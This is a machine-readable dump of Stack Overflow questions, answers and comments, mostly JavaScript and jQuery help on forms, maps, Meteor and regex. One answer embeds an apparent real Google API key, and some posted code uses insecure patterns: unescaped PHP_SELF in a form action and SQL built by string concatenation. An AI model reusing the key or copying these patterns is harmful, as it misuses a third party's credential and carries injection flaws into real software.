has comment: http://stackoverflow.com/comment/40231600
has comment: http://stackoverflow.com/comment/40231693
score: 0
has comment: http://stackoverflow.com/comment/40231609
has title: event.preventDefault() not working on mozilla
tagged with: http://stackoverflow.com/tag/html
has body: I'm having problems with a function that works fine in Google Chrome, but sucks in Mozilla: The JavaScript code is: &lt;script type="text/javascript"&gt; function gid(id) { return document.getElementById(id); } function validate() { var x = document.forms["frmSurvey"]["email"].value; var atpos = x.indexOf("@"); var dotpos = x.lastIndexOf("."); if((gid('0_stars').checked==true) || (gid('1_stars').checked==true) || (gid('2_stars').checked==true) || (gid('3_stars').checked==true) || (gid('4_stars').checked==true)) { if((gid('comment').value != '') &amp;&amp; (gid('email').value != '') &amp;&amp; (gid('name').value != '')) { if (atpos&lt;1 || dotpos&lt;atpos+2 || dotpos+2&gt;=x.length) { alert("Not a valid e-mail address. Please write a valid e-mail address!"); return false; } else { document.getElementById("frmSurvey").submit(); } } else { alert('You haven`t completed the mandatory fields. Please make sure that you complete the form corectly! Thank you!'); return false; } } else { alert('You haven`t completed the mandatory fields. Please make sure that you complete the form corectly! Thank you!'); return false; } } &lt;/script&gt; And the form is: &lt;form action="&lt;?php echo $_SERVER["PHP_SELF"];?&gt;" method="post" id="frmSurvey" onsubmit="event.preventDefault(); validate();"&gt; ... ... ... &lt;/form&gt; Is there any methods to replace this function with another? I already tried return false; but then it doesn't submit at all!
favorite count: 0
has answer: http://stackoverflow.com/a/25732636
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25732578
has answer: http://stackoverflow.com/a/25732578
tagged with: mozilla
upvote count: 1
tagged with: google-chrome
downvote count: 1
accepted answer: http://stackoverflow.com/a/25732636
type: Question
answer count: 2

http://stackoverflow.com/comment/40256768
has text: I tried to use something like: $('#listExaminadorBaliza li').on('click', function(e){ alert(e.currentTarget.getAttribute('nome')); }); but the result is null
comment on: http://stackoverflow.com/a/25746062
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40284008
comment on: http://stackoverflow.com/q/25760919
score: 0
type: Comment
type: QuestionComment
has text: The second URL looks wrong - missing a dot before `html`. Maybe the first one is successful while the second is failing? Add an `always` and check the responses.

http://stackoverflow.com/a/25759013
answers question: http://stackoverflow.com/q/25758276
score: 0
type: Answer
has body: You must enter city name located in PL country only so I recommend to add json result checking to prevent from Zero result error . of course you can enter some unique part of city name for example "warsaz" for "Warszawa" or "biaystk" for "Bialystok" $('#results').html('no result'); $(document).ready(function() { $('#txt').change(function(){ var miasto = $("#txt").val(); $.ajax({ url: "https://maps.googleapis.com/maps/api/geocode/json?components=locality:" + miasto + "|country:PL&amp;key=AIzaSyB0Yn_8C4os4dRBhEs1nSVXx1TbmolDl3k&amp;sensor=false", dataType: "html", success: function(data) { var zcity = $("#txt").val(); var json = $.parseJSON(data); if (json.status != "ZERO_RESULTS") { $('#results').html('&lt;br /&gt;City: ' + json.results[0].address_components[0].long_name + '&lt;br /&gt;Kraj: ' + json.results[0].address_components[4].short_name + '&lt;br /&gt; Input Value: ' + zcity); } else { $('#results').html('Invalid City name for PL Country'); } } }); }); }); JSfiddle Demo

http://stackoverflow.com/comment/47410468
type: AnswerComment
type: Comment
has text: Yeah I dont recommend anyone doing this. Gulp 4 will make task parallelism a bit clearer
comment on: http://stackoverflow.com/a/29615726
score: 0

http://stackoverflow.com/a/25855224
score: 3
has body: Although having second look in the docs, it should be pretty obvious. I think it cannot work like that. Instead you should invoke something like this in your code. document.body.innerHTML = template({message: "Hello Node Underscorify!", _: require('underscore')});
accepted answer of: http://stackoverflow.com/q/25854002
has comment: http://stackoverflow.com/comment/40456873
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25854002
upvote count: 3

http://stackoverflow.com/q/25825464
tagged with: javascript
score: 4
upvote count: 4
answer count: 2
has answer: http://stackoverflow.com/a/25825980
has title: Get closest cartesian axis aligned vector in javascript
has answer: http://stackoverflow.com/a/25826011
favorite count: 0
possible better answer: http://stackoverflow.com/a/25825980
has body: Assume you have possible cartesian axis vectors as: [1,0,0], [-1,0,0], [0,1,0], [0,-1,0], [0,0,1], and [0,0,-1] (yes direction matters) Given any particular unit vector, what is the quickest way to find its closest axis vector?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25826011
type: Question
tagged with: vector
tagged with: math
downvote count: 0

http://stackoverflow.com/q/25815957
type: Question
has comment: http://stackoverflow.com/comment/40387170
tagged with: flash
has comment: http://stackoverflow.com/comment/40386786
tagged with: javascript
tagged with: media-player
has title: dynamic address and unknown file name for html5 mp3player like code below
has body: As you can see below the code that I have is fully functional for reading an uploaded mp3 file from user and then pass it for flash player to play it. if($uplfile !="") $url = $my_base_url.$my_website_base."/modules/upload/attachments/".$uplfile; else $url = $this->get_template_vars('enc_url'); $info = pathinfo($url); if ($info["extension"] == "mp3") { {/php} {php} echo ' '; However I want to use html5 player instead. I would say something like this. I tried all the possible thing to use for source in order to read the file but still could not to do so. Please be advise that I don't the filename and is unknown and will be uploaded by user. Thanks in advance. this is the first time I'm using this website so please ignore if I didn't follow exactly the rules for asking question. EDIT I used the following code I kept both the HTML5 and the javascript to see which one will work. I want to get rid of the swf flash which is working because of compatibility with mobile devices. {php} global $db,$my_base_url,$my_pligg_base; $lid = $this->get_template_vars('link_id'); $uplfile = $db->get_var("select file_name from ".table_prefix."files where file_link_id='".$lid."' and file_size='orig'"); if($uplfile !="") $url = $my_base_url.$my_pligg_base."/modules/upload/attachments/".$uplfile; else $url = $this->get_template_vars('enc_url'); $info = pathinfo($url); if ($info["extension"] == "mp3") { {/php} {php} echo ' ';
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40386710
favorite count: 0
has answer: http://stackoverflow.com/a/25816063
tagged with: php
accepted answer: http://stackoverflow.com/a/25816063
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40386579
downvote count: 0
has comment: http://stackoverflow.com/comment/40386959
score: 1

http://stackoverflow.com/comment/40434866
type: Comment
score: 0
type: AnswerComment
has text: @Paul - I am using [msgBox Plugin](http://codecanyon.net/item/jquery-msgbox/92626)
comment on: http://stackoverflow.com/a/25843101

http://stackoverflow.com/q/25751494
tagged with: javascript
type: AnsweredQuestion
has body: I have a swiper with a button for next and previous inside the slide content and when I click it it does not animate it just immediately displays the next slide. Swiping works fine. I am using it in a cordova app on ios. Here is an example of the slide html code. and the javascript is g_slider = new Swiper('.swiper-container',{ //Your options here: mode:'horizontal' //etc.. }); function prevPage() { g_slider.swipePrev(); }
tagged with: swiper.js
has answer: http://stackoverflow.com/a/25767868
tagged with: cordova
type: Question
answer count: 1
has title: iDangerous swipeNext and swipePrev don't animate
score: 0
accepted answer: http://stackoverflow.com/a/25767868

http://stackoverflow.com/a/25851580
has comment: http://stackoverflow.com/comment/40449211
score: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40449574
has body: You need theme services running. Here is how you do that. Start -> All Progam -> Administrative Tools -> Component Services -> Services (Local) -> Theme (Local)
answers question: http://stackoverflow.com/q/25851579
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/25851579

http://stackoverflow.com/q/25803137
linked to: http://stackoverflow.com/q/5627284
has title: jQuery Conditional Deferred
score: 0
type: Question
tagged with: javascript
tagged with: jquery-deferred
answer count: 1
tagged with: jquery
tagged with: deferred
has body: I have 2 separate models which are populated by 2 different API calls. I do a fetch on them one-by-one and once both the model api calls are done and my view is available (then trigger deferred resolve), I have my view rendering logic i.e. write data to the view Below is the code; var myModel1 = new myModel1({ attr1: attr1 }); var myModel2 = new myModel2({ attr2: attr2 }); myModel1.fetch({ success: function() { myModel1Deferred.resolve(myModel1); } }); myModel2.fetch({ success: function() { myModel2Deferred.resolve(myModel2); } }); require(['view/my-view'], function(myView) { myViewDeferred.resolve(myView); }); $.when(myModel1Deferred, myModel2Deferred, myViewDeferred).then(function(myModel1, myModel2, myView) { // My view rendering logic } Now the issue is that there are 2 separate cases (based on how the view is accessed): In the first case, I have both the model API calls...so in this case resolve would depend on myModel1Deferred + myModel2Deferred + myViewDeferred But in the 2nd case, I just need one model API call (i.e myModel1.fetch())...so in this case the resolve would depend only on myModel1Deferred + myViewDeferred My question is should I have an if condition and write the $.when().then() separately for each condition OR can it be handled within a single $.then().when().
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25805242

openlayers-3
type: Tag
tag name: openlayers-3
tags question: http://stackoverflow.com/q/25866154

http://stackoverflow.com/comment/40209984
type: Comment
has text: onmouseout, onmouseover, onmouse++, OP doesn't like them :p
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25721078

http://stackoverflow.com/q/25722348
type: AnsweredQuestion
has body: With var twitPost = Meteor._wrapAsync(twit.post.bind(twit)); function process(screen_name) { twitGet('users/show', {'screen_name': screen_name}); } a synchronous call to process("screen_name") works fine, but stream.on('tweet', function(tweet) { process(tweet.user.screen_name); }); yields Error: Meteor code must always run within a Fiber. Try wrapping callbacks that you pass to non-Meteor libraries with Meteor.bindEnvironment. Any ideas how/if I could make this work? I would like to go via some processing function that can do other stuff except call twitPost.
type: Question
accepted answer: http://stackoverflow.com/a/25723741
tagged with: javascript
score: 0
answer count: 1
tagged with: event-handling
tagged with: meteor
tagged with: asynchronous
has answer: http://stackoverflow.com/a/25723741
tagged with: node.js
has title: event handler calling wrapped async functions in Meteor

http://stackoverflow.com/comment/40250879
type: Comment
comment on: http://stackoverflow.com/a/25741974
has text: amazing... what do you actually try to achieve copying my answer and then posting it... even with my own modified fiddle? (while you changed the order of the code in the answer You forgot to change it in the fiddle). Well, if you so avid to get a few points let me know and I'll give you a few for you to enjoy.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40381074
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25814063
has text: Here is [updated fiddle](http://jsfiddle.net/Regent3000/sydzL8Lc/9/).

http://stackoverflow.com/comment/40318987
score: 0
comment on: http://stackoverflow.com/q/25776815
has text: @Teemu &nbsp;CLICK
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25819498
type: Question
tagged with: css
score: 0
has body: In our app, we have a button defined as follows: { xtype : 'button', text : '1 Define Layout' } where disk is described like this: .disk { display: inline-block; vertical-align : middle; background-color: #FFF; margin-right: 5px; //margin-bottom: -7px; padding: 12px 8px !important; height: 25px; overflow: hidden; width: 25px; border-radius: 25px; color: #555; line-height: 0px; } This works fine in ie9+, ff, and chrome. However, in ie8 all I see is squares. I am aware of the fact that border-radius is not part of the IE8 CSS spec and that there are work arounds like CSS3PIE (assume we can't use this :) ). Also, I know that Sencha Cmd (v4.0.2.67) has image slicing built into the build system, but it only seems to work on Ext components. How do I draw the disk for this particular case?
has comment: http://stackoverflow.com/comment/40398821
tagged with: internet-explorer-8
type: UnansweredQuestion
answer count: 0
tagged with: styling
tagged with: javascript
has title: extjs 4.2.1 - ie8 and round corners / drawing circles in Ext.Components
has comment: http://stackoverflow.com/comment/40393582
linked to: http://stackoverflow.com/q/7077331
tagged with: extjs

http://stackoverflow.com/comment/40240405
type: AnswerComment
comment on: http://stackoverflow.com/a/25735179
type: Comment
has text: Then again, it's Facebook's scraper, not the user's browser that is hitting the click tracking service when creating the share link. So I shouldn't have to worry about the user's browser caching the 301.
score: 0

http://stackoverflow.com/a/25718884
has comment: http://stackoverflow.com/comment/40207537
score: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25718831
has comment: http://stackoverflow.com/comment/40206579
has body: Quite possibly your response has already ended. Try mysql.query('select * from ' + TABLE + ' where price &lt; 1212', function(err, result, fields) { if (err) throw err; else { console.log('Books less than 1212'); for (var i in result) { var book = result[i]; response.write("Hello"); console.log(book.title + ':' + book.price); //above is working response.write(book.title + ':' + book.price); //above is not working...why? } response.end();//don't end response until data is written } });
accepted answer of: http://stackoverflow.com/q/25718831
upvote count: 2
type: Answer

http://stackoverflow.com/q/25773222
tagged with: javascript
favorite count: 0
answer count: 1
has answer: http://stackoverflow.com/a/25778441
type: UnansweredQuestion
tagged with: jsdoc
upvote count: 23
has title: How to annotate anonymous object with optional property in JSDoc
score: 23
has comment: http://stackoverflow.com/comment/40306430
type: Question
has body: I have a JavaScript class that takes one argument of type Object with defined set of properties and the Closure Compiler is happy when I annotate it like: @constructor @param options var MyView = function(options){ } I would like to make title key optional and pass title value to some instances of my class and implement fallback behavior when this key is not present, so I annotated my class with: @constructor @param options var MyView = function(options){ } and now Closure Compiler is complaining: WARNING - Bad type annotation. expected closing } I've checked Annotating JavaScript for the Closure Compiler, but I see no single line describing such use case.
tagged with: google-closure-compiler
downvote count: 0

http://stackoverflow.com/a/25812788
type: Answer
downvote count: 0
score: 1
has body: The cleanest way I can think of would be to add an additional attribute to each of your checkboxes and ul elements, like so: &lt;input type="checkbox" name="attendee" title="Attendee One" data-productname="Product Awesome" data-attendeename="AttendeeOne" data-optionprice="7.00" data-target="attendee-1"/&gt; &lt;ul class="attendeeProductList" data-target="attendee-1"&gt; You can then easily append your selected item to the matching &lt;ul&gt; element like this: $('#attendeeList input[type="checkbox"]').on('click', function() { var productName = $(this).attr('data-productname'); var productPrice = $(this).attr('data-optionprice'); var target = $(this).attr('data-target'); $('ul[data-target="' + target + '"]').append('&lt;li&gt;' + productName + ': ' + productPrice + '&lt;/li&gt;'); }); Obviously .on('click') isn't the best method, you'd want to only append if the item was checked, and make sure to remove it if it was unselected. If you're going to be doing this on any scale, it's much better to use a library like knockout or backbone that can handle binding like this for you. Solutions to this sort of problem using exclusively jQuery can (and do) quickly turn into spaghetti code Fiddle
upvote count: 1
answers question: http://stackoverflow.com/q/25812468

http://stackoverflow.com/comment/40217409
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25725019
has text: Yeah, they only mention special formats in the context of parsing. Odd.

http://stackoverflow.com/q/25737728
downvote count: 0
tagged with: javascript
favorite count: 0
has body: I have integrated Google maps in my phonegap application to search nearby places (restaurant). But the callback function never gets called. I used below code in javascript: var map; var infowindow; var currentLattitude; var currentLongitude; //AddEventListener for device ready document.addEventListener('deviceready', onDeviceReady, false); // Function gets called when device is ready function onDeviceReady() { navigator.geolocation.getCurrentPosition(onSuccess, onError); } // onSuccess Callback receives a Position object var onSuccess = function(position) { currentLattitude = position.coords.latitude; currentLongitude = position.coords.longitude; initialize(); }; // onError Callback receives a PositionError object // function onError(error) { alert('code: ' + error.code + '\n' + 'message: ' + error.message + '\n'); } function initialize() { var pyrmont = new google.maps.LatLng(currentLattitude,currentLongitude); map = new google.maps.Map(document.getElementById('map'), { center: pyrmont, zoom: 15 }); var request = { location: pyrmont, radius: '5000', types: ['restaurant'] }; infowindow = new google.maps.InfoWindow(); var service = new google.maps.places.PlacesService(map); service.nearbySearch(request, callback); } function callback(results, status) { if (status == google.maps.places.PlacesServiceStatus.OK) { for (var i = 0; i < results.length; i++) { createMarker(results[i]); } } } function createMarker(place) { var placeLoc = place.geometry.location; var marker = new google.maps.Marker({ map: map, position: place.geometry.location }); google.maps.event.addListener(marker, 'click', function() { infowindow.setContent(place.name); infowindow.open(map, this); }); } And my html code is: Hello World Thanks in advance
tagged with: cordova
answer count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: phonegap-build
has title: Google maps "Nearby search" callback function not getting invoked in phonegap
type: Question
has comment: http://stackoverflow.com/comment/40245190
tagged with: google-maps
score: 2

http://stackoverflow.com/q/25852161
has title: How to open div as a tooltip in Grid in MVC?
tagged with: asp.net-mvc
has comment: http://stackoverflow.com/comment/40450481
has answer: http://stackoverflow.com/a/25852214
type: Question
has comment: http://stackoverflow.com/comment/40450425
answer count: 2
downvote count: 4
upvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40450576
has body: &lt;style&gt; #hint{ cursor:pointer; } .tooltip{ margin:8px; padding:8px; border:1px solid white; background-color:#e2e2e2; position: absolute; z-index: 2; display:none; border-radius:5px; } &lt;/style&gt; &lt;a href="#" rel="@item.Email" class="anchorlink"&gt;@Html.Raw(item.FirstName + " " + item.MiddleName + " " + item.LastName)&lt;/a&gt; &lt;script type="text/javascript"&gt; $(document).ready(function () { $('.anchorlink').mouseover(function (e) { var id = $(this).attr("rel"); $('.tooltip').show().html(id); }).mousemove(function (e) { $('.tooltip').css('left', (e.pageX - 20) + 'px'); $('.tooltip').css('top', (e.pageY + 20) + 'px'); }).mouseout(function (e) { $('.tooltip').hide().html(''); }); }); &lt;/script&gt;
favorite count: 0
has answer: http://stackoverflow.com/a/25852215
type: UnansweredQuestion
score: -4

http://stackoverflow.com/comment/40232081
comment on: http://stackoverflow.com/q/25732674
score: 0
type: Comment
type: QuestionComment
has text: Make a http://jsfiddle.net/ please?

http://stackoverflow.com/comment/40208731
type: Comment
score: 0
has text: So I should just replace drop down with pop-over.Nothing else need to be changed?
type: QuestionComment
comment on: http://stackoverflow.com/q/25716933

http://stackoverflow.com/comment/40202277
type: QuestionComment
comment on: http://stackoverflow.com/q/25716805
has text: You might also want to try renaming it from `modal` to something else.
score: 0
type: Comment

http://stackoverflow.com/a/25717908
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25713051
type: Answer
accepted answer of: http://stackoverflow.com/q/25713051
has body: You need to encode the HTML so it doesn't mess with things using the htmlspecialchars function. So &lt;a title=&quot;{{ htmlspecialchars($article-&gt;title) }}&quot;&gt;
score: 0

http://stackoverflow.com/comment/40365342
comment on: http://stackoverflow.com/a/25805187
type: Comment
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/61109/discussion-between-scott-brown-and-regent).
type: AnswerComment
score: 0

http://stackoverflow.com/a/25723128
downvote count: 1
score: -1
upvote count: 0
has body: Are you looking for this function myFunction() { var x = document.getElementById("myFile").type; document.getElementById("demo").innerHTML = x; } use fiddle url:http://jsfiddle.net/huboxpc8/
type: Answer
answers question: http://stackoverflow.com/q/25723002

http://stackoverflow.com/comment/40477471
has text: +1 This question is a good example showcasing how many people (even high rep) don't read questions thoroughly enough, but are quick to vote and close.
comment on: http://stackoverflow.com/q/25867077
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/q/25757309
possible better answer: http://stackoverflow.com/a/25757423
has body: know how to match one pattern using jaascipt: var pattern = somePattern if (!pattern.test(email)) { //do something } but what if I have to match string start with " and end with "; and anything in between with a specific length(10) so if I have this: "ww#="$==xx"; (acceptable) "w#="$==xx"; (Not acceptable, the length is 9 between the " and the ";) ww#="$==xx"; (Not acceptable), doesn't start with " "ww#="$==xx" (Not acceptable), doesn't end with "; How can I achieve this using js?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25757388
has answer: http://stackoverflow.com/a/25757324
accepted answer: http://stackoverflow.com/a/25757324
has title: javascript to match string start with " and end with "; and anything in between?
type: Question
downvote count: 0
tagged with: javascript
answer count: 3
score: 2
favorite count: 0
has answer: http://stackoverflow.com/a/25757423
upvote count: 2
tagged with: regex

http://stackoverflow.com/comment/40214159
score: 0
has text: did you try `e.stopPropagation();` on `` tag click?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25723439

http://stackoverflow.com/comment/40221590
score: 0
type: AnswerComment
type: Comment
has text: i trid above code to store value in varible.. but i want use that variable in php sessions
comment on: http://stackoverflow.com/a/25718937

http://stackoverflow.com/a/25878212
downvote count: 0
answers question: http://stackoverflow.com/q/25770419
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25770419
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/44762239
has body: It turns out that the issue is related to the namespace in the SOAP XML. When I changed the namespace to http://schemas.microsoft.com/sqlserver/reporting/2010/03/01/ReportServer to match the SOAP action (minus the command at the end); the request returned a valid SOAP response. I'm not sure if this is a limitation of SOAP or SSRS though since I'm not very familiar with either.
type: Answer
score: 2

http://stackoverflow.com/a/25807363
score: 0
answers question: http://stackoverflow.com/q/25807310
type: Answer
has body: No, it is not possible to change the design of the default Alert Window. You will have to use custom UI elements called modals to circumvent this problem. Here is a link to modals in Bootstrap.

http://stackoverflow.com/q/25843497
has body: I'm trying to convert a canvas to a Jpeg image and put it into a hidden field of a form, and then submit the form. function createBlob() { var imageblob = canvas.toDataURL('image/jpeg', 0.5); document.getElementById("id_hidden_preview_field").value = imageblob; // Here we put the imageurl blob into the hidden_preview_field. // Here we submit the form with the $("#design").submit(); alert("after submit"); } Here is the code of the form: Add a design Save For some reason, when I don't put the alert (alert("after submit" + new Date().getTime());), the form gets sent without the image inside of the hidden field. And when I DO PUT the alert, it gets sent without problems. It makes me think that there is an issue with the form submit that destroys one of the DOM elements that it needs to send. Does anyone now if it's really asynchronous, and if it's not that, how can I make sure that $("#design).submit(); gets called only AFTER the image gets copied into the hidden field, or maybe WITHOUT destroying the DOM elements. Thanks a lot!
has comment: http://stackoverflow.com/comment/40446143
tagged with: asynchronous
type: UnansweredQuestion
upvote count: 1
has title: Unconsistent results because of asynchronous form submit?
score: 1
linked to: http://stackoverflow.com/q/5431351
type: Question
has answer: http://stackoverflow.com/a/25861499
tagged with: canvas
has comment: http://stackoverflow.com/comment/40446169
has comment: http://stackoverflow.com/comment/40446423
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40446154

http://stackoverflow.com/comment/40505977
type: AnswerComment
comment on: http://stackoverflow.com/a/25878690
type: Comment
score: 3
has text: You just create Polymer elements for this.

http://stackoverflow.com/q/25789024
has comment: http://stackoverflow.com/comment/40334763
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40334472
has body: Most of the examples online that load the Google Maps API wait for the window load event to actually create a map, ie: &lt;script src="http://maps.googleapis.com/maps/api/js?key=myKeyHere&amp;sensor=false"&gt; &lt;/script&gt; &lt;script&gt; function initialize() { var mapProp = { center:new google.maps.LatLng(51.508742,-0.120850), zoom:5, mapTypeId:google.maps.MapTypeId.ROADMAP }; var map=new google.maps.Map(document.getElementById("googleMap") ,mapProp); } google.maps.event.addDomListener(window, 'load', initialize); &lt;/script&gt; Taken from http://www.w3schools.com/googleapi/google_maps_basic.asp My question is, is it necessary to wait for the window load event? In particular, would a DOMContentReady handler be sufficient? My experience shows that it ordinarily is, but every now and then I get strange errors from my users such as google.maps.MapTypeId is undefined in my initialization function.
type: Question
tagged with: google-maps
has comment: http://stackoverflow.com/comment/40335146
tagged with: javascript
has answer: http://stackoverflow.com/a/25792627
score: 0
answer count: 1
has title: Google Maps v3 API - When is it safe to start?

http://stackoverflow.com/comment/40818925
comment on: http://stackoverflow.com/a/25744922
type: AnswerComment
score: 0
type: Comment
has text: For future users who come upon this question, could you please indicate which of the suggestions above resolved your issue? Thanks!

http://stackoverflow.com/a/25773455
answers question: http://stackoverflow.com/q/25768412
downvote count: 0
has body: You don't need the var val and you need quotes around what will become a hard-coded string literal in the resulting javascript code. &lt;c:forEach items="${list_str.rows}" var="user" varStatus="status"&gt; fruits.push('${user.Name}'); &lt;/c:forEach&gt;
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/a/25847556
type: Answer
upvote count: 3
score: 3
has body: You can try this module: ansi.js
downvote count: 0
answers question: http://stackoverflow.com/q/25846949

http://stackoverflow.com/comment/40261789
type: Comment
type: QuestionComment
has text: Sorry I actually misinterpreted your code. I didn't realize you were returning a function not an instance.
score: 0
comment on: http://stackoverflow.com/q/25729777

http://stackoverflow.com/q/25776973
has body: Would it be possible to change this: Hello, this is Mike [example] to this: Hello, this is Mike Using JS + Regex? Thank you.
answer count: 4
favorite count: 0
has answer: http://stackoverflow.com/a/25777116
downvote count: 2
tagged with: regex
possible better answer: http://stackoverflow.com/a/25777004
type: AnsweredQuestion
score: 2
type: Question
upvote count: 4
has title: Javascript/regex: Remove text between square brackets
has answer: http://stackoverflow.com/a/75022605
tagged with: javascript
has answer: http://stackoverflow.com/a/74845723
has answer: http://stackoverflow.com/a/25777004
accepted answer: http://stackoverflow.com/a/25777116

http://stackoverflow.com/comment/40366632
type: Comment
comment on: http://stackoverflow.com/q/25806407
type: QuestionComment
has text: @bvx89: I am asking about creating dialog boxes. I will be able to get content from DB
score: 0

http://stackoverflow.com/comment/40287425
type: QuestionComment
has text: `\r\n` suggests there are newlines after each separated value. These should be removed. Open your csv in notepad++ and see if there are new lines
comment on: http://stackoverflow.com/q/25763045
score: 0
type: Comment

http://stackoverflow.com/a/25754771
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25754552
score: 1
upvote count: 1
has body: Silly mistake -- Meteor.userID() needs to be changed to Meteor.userId()

http://stackoverflow.com/a/25791515
upvote count: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 1
answers question: http://stackoverflow.com/q/25791309
accepted answer of: http://stackoverflow.com/q/25791309
has body: Yes, if you want to continue formatting manually, you can use something like this: element.innerHTML = (h &gt; 12 ? h - 12 : h) + ":" + m + ":" + s + (h &gt;= 12 ? " PM" : " AM");

http://stackoverflow.com/comment/40255882
comment on: http://stackoverflow.com/a/25745516
score: 0
type: AnswerComment
has text: @RoyiNamir In C, Java, JavaScript and most languages with the `switch` construct, the execution goes to the following `case` if the `break` is missing. It's sometimes convenient but most often a bug, that's while it has been changed is some more modern languages (most notably the [go](https://golang.org/doc/effective_go.html#switch)).
type: Comment

http://stackoverflow.com/a/26170274
type: Answer
answers question: http://stackoverflow.com/q/25718133
score: 1
upvote count: 1
has body: This code would never execute until the document is already ready anyway. So there is no need to execute this JS from selenium - because it can only ever return one result - "complete." This is because you can't execute JS from SE until you are on a page. The only way to get on a page is to call Selenium's .get(), which blocks any following execution until the DOM is fully loaded. So .get() is already doing what your .untilPageIsLoaded() would otherwise do.
downvote count: 0

http://stackoverflow.com/comment/40354580
type: QuestionComment
comment on: http://stackoverflow.com/q/25799238
has text: I can't say that's good practice. Making it accept a string or an object is fine (`function(in) { if (typeof in === "string") { ... } else if (typeof in === "object") { ... } }` but testing the string input to see what pattern it matches and then actually pretending it's API traversal is really bad practice, and potentially library breaking.
score: 0
type: Comment

http://stackoverflow.com/a/25857171
upvote count: 1
downvote count: 0
type: Answer
has body: In Javascript, everything is a hash of key and value which is why you see hash for Arrays with index as hash key and value as object. This works for me. var jsonStr = '{ "key": [{ "foo": "bar" }] }'; var obj = $.parseJSON(jsonStr); if (obj.key instanceof Array) { alert('value is Array! and its length is &gt; '+obj.key.length); } else { alert('Not an array'); } http://jsbin.com/rifinu/1/
answers question: http://stackoverflow.com/q/25856959
score: 1

http://stackoverflow.com/q/25759791
linked to: http://stackoverflow.com/q/10126395
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25759828
has comment: http://stackoverflow.com/comment/40281769
score: -1
has answer: http://stackoverflow.com/a/25759971
type: Question
possible better answer: http://stackoverflow.com/a/25759868
has title: Clearing text field using JQuery
upvote count: 0
has answer: http://stackoverflow.com/a/25759868
tagged with: javascript
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25759828
has body: I have a table and I have only one row in it. I am generating rows dynamically when the Enter button is pressed. This is my code. Amount Installment Source of Money JavaScript I am getting cloned rows as I expected. But the problem is I am getting cloned divs with the texts which were already inserted to previous row which were used to make the clone. Since I am new to JQuery although I am bit familiar with JavaScript, I cannot figure out how to do it. I tried several stackoverflow answers, but I ended up with no luck. Please Help me to solve the issue. Thanks!
has comment: http://stackoverflow.com/comment/40281847
answer count: 4
has answer: http://stackoverflow.com/a/25759902
downvote count: 1

http://stackoverflow.com/q/25813850
has answer: http://stackoverflow.com/a/25813865
accepted answer: http://stackoverflow.com/a/25813865
has body: EXAMPLE: JS utilities function like so : BDA.Utils.formatString = function (string) { (....) return someFormattedStr; } now I want to call this from my TS class, like so: export class Building { image: string; get getFormatted(): string { return BDA.Utils.formatString (this.image); } } I get a warning/error in type script saying that, basically, it does recognize BDA.Utils is there anyway to make TS ignore this? or define this as interface or something to make it assume that such a thing exists? My main problems is nesting of the modules/classes BDA->Utils
has title: TypeScript: how to call a custom utli JS function from TypeScript class
type: AnsweredQuestion
downvote count: 0
type: Question
tagged with: typescript
score: 1
upvote count: 1
answer count: 1
tagged with: javascript
favorite count: 0

bootstrap-modal
tags question: http://stackoverflow.com/q/25788033
tags question: http://stackoverflow.com/q/25821539
tags question: http://stackoverflow.com/q/25815408
tag name: bootstrap-modal
tags question: http://stackoverflow.com/q/25858319
type: Tag
tags question: http://stackoverflow.com/q/25757968

http://stackoverflow.com/comment/40333475
type: Comment
comment on: http://stackoverflow.com/a/25788302
type: AnswerComment
has text: That's exactly why I said it's different but not *better*, yes it's basically an `eval`.
score: 0

http://stackoverflow.com/a/25793464
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40353016
has comment: http://stackoverflow.com/comment/40351891
has body: Try just setting the value of the &lt;select&gt; using val(). It's far simpler than looping over each option $(document).on("click", ".btn", function () { var groupNames = $(this).data('group-names'); $('.modal-body #groups').val(groupNames); }); DEMO
has comment: http://stackoverflow.com/comment/40345837
has comment: http://stackoverflow.com/comment/40346128
has comment: http://stackoverflow.com/comment/40345894
accepted answer of: http://stackoverflow.com/q/25793311
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40353177
downvote count: 0
has comment: http://stackoverflow.com/comment/40351969
answers question: http://stackoverflow.com/q/25793311
has comment: http://stackoverflow.com/comment/40346283
has comment: http://stackoverflow.com/comment/40353152

http://stackoverflow.com/a/25847303
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/25846773
